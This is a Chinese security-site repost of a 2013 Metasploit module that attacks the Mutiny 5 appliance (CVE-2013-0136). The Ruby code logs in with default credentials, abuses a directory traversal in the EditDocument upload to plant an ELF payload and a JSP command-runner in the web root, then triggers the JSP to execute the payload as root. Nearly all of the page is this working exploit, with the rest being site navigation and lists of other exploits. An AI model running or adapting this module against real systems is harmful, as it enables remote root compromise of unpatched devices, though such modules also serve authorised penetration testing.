首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mutiny 5 Arbitrary File Upload
来源:metasploit.com 作者:vazquez 发布时间:2013-05-17  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'Mutiny 5 Arbitrary File Upload',
			'Description' => %q{
					This module exploits a code execution flaw in the Mutiny 5 appliance. The
				EditDocument servlet provides a file upload function to authenticated users. A
				directory traversal vulnerability in the same functionality allows for arbitrary
				file upload, which results in arbitrary code execution with root privileges. In
				order to exploit the vulnerability a valid user (any role) in the web frontend is
				required. The module has been tested successfully on the Mutiny 5.0-1.07 appliance.
			},
			'Author'       =>
				[
					'juan vazquez' # Metasploit module and initial discovery
				],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'CVE', '2013-0136' ],
					[ 'US-CERT-VU', '701572' ],
					[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/05/15/new-1day-exploits-mutiny-vulnerabilities' ]
				],
			'Privileged'  => true,
			'Platform'    => 'linux',
			'Arch' => ARCH_X86,
			'Targets'     =>
				[
					[ 'Mutiny 5.0-1.07 Appliance (Linux)', { } ]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'May 15 2013'))

		register_options(
			[
				Opt::RPORT(80),
				OptString.new('TARGETURI', [true, 'Path to Mutiny Web Service', '/']),
				OptString.new('USERNAME', [ true, 'The user to authenticate as', 'superadmin@mutiny.com' ]),
				OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ])
			], self.class)
	end

	def upload_file(location, filename, contents)
		post_data = Rex::MIME::Message.new
		post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"#{filename}\"")
		post_data.add_part("../../../..#{location}", nil, nil, "form-data; name=\"uploadPath\"")

		# Work around an incompatible MIME implementation
		data = post_data.to_s
		data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")

		res = send_request_cgi(
		{
			'uri'     => normalize_uri(target_uri.path, "interface","EditDocument"),
			'method'  => 'POST',
			'data'    => data,
			'ctype'   => "multipart/form-data; boundary=#{post_data.bound}",
			'cookie'  => "JSESSIONID=#{@session}"
		})

		if res and res.code == 200 and res.body =~ /\{"success":true\}/
			return true
		else
			return false
		end
	end

	def login

		res = send_request_cgi(
			{
				'uri'    => normalize_uri(target_uri.path, "interface", "index.do"),
				'method' => 'GET'
			})

		if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
			first_session = $1
		end

		res = send_request_cgi(
		{
			'uri'       => normalize_uri(target_uri.path, "interface", "j_security_check"),
			'method'    => 'POST',
			'cookie'    => "JSESSIONID=#{first_session}",
			'vars_post' => {
				'j_username' => datastore['USERNAME'],
				'j_password' => datastore['PASSWORD']
			}
		})

		if res.nil? or res.code != 302 or res.headers['Location'] !~ /interface\/index.do/
			return false
		end

		res = send_request_cgi(
		{
			'uri'    => normalize_uri(target_uri.path, "interface", "index.do"),
			'method' => 'GET',
			'cookie' => "JSESSIONID=#{first_session}"
		})

		if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
			@session = $1
			return true
		end

		return false
	end

	def check
		res = send_request_cgi({
			'uri' => normalize_uri(target_uri.path, "interface",  "/"),
		})

		if res and res.body =~ /var currentMutinyVersion = "Version ([0-9\.-]*)/
			version = $1
		end

		if version and version >= "5" and version <= "5.0-1.07"
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		@peer = "#{rhost}:#{rport}"

		print_status("#{@peer} - Trying to login")
		if login
			print_good("#{@peer} - Login successful")
		else
			fail_with(Exploit::Failure::NoAccess, "#{@peer} - Login failed, review USERNAME and PASSWORD options")
		end

		exploit_native
	end

	def exploit_native
		print_status("#{@peer} - Uploading executable Payload file")
		elf = payload.encoded_exe
		elf_location = "/tmp"
		elf_filename = "#{rand_text_alpha_lower(8)}.elf"
		if upload_file(elf_location, elf_filename, elf)
			register_files_for_cleanup("#{elf_location}/#{elf_filename}")
			f = ::File.open("/tmp/test.elf", "wb")
			f.write(elf)
			f.close
		else
			fail_with(Exploit::Failure::Unknown, "#{@peer} - Payload upload failed")
		end

		print_status("#{@peer} - Uploading JSP to execute the payload")
		jsp = jsp_execute_command("#{elf_location}/#{elf_filename}")
		jsp_location = "/usr/jakarta/tomcat/webapps/ROOT/m"
		jsp_filename = "#{rand_text_alpha_lower(8)}.jsp"
		if upload_file(jsp_location, jsp_filename, jsp)
			register_files_for_cleanup("#{jsp_location}/#{jsp_filename}")
		else
			fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed")
		end

		print_status("#{@peer} - Executing payload")
		send_request_cgi(
		{
			'uri'    => normalize_uri(target_uri.path, "m", jsp_filename),
			'method' => 'GET'
		})

	end

	def jsp_execute_command(command)
		jspraw =  %Q|<%@ page import="java.io.*" %>\n|
		jspraw << %Q|<%\n|
		jspraw << %Q|try {\n|
		jspraw << %Q|  Runtime.getRuntime().exec("chmod +x #{command}");\n|
		jspraw << %Q|} catch (IOException ioe) { }\n|
		jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
		jspraw << %Q|%>\n|

		jspraw
	end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SSH User Code Execution
·Nginx 1.3.9 / 1.4.0 Denial Of
·Serva 32 TFTP 2.1.0 - Buffer O
·Glibc 2.11.3 / 2.12.x LD_AUDIT
·Quick Search Version 1.1.0.189
·D-Link DIR615h OS Command Inje
·Kloxo 6.1.12 Privilege Escalat
·Ophcrack 3.5.0 - Local Code Ex
·ERS Viewer 2011 ERS File Handl
·Linksys WRT160nv2 apply.cgi Re
·Avira Personal Privilege Escal
·win32k!EPATHOBJ::pprFlattenRec
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved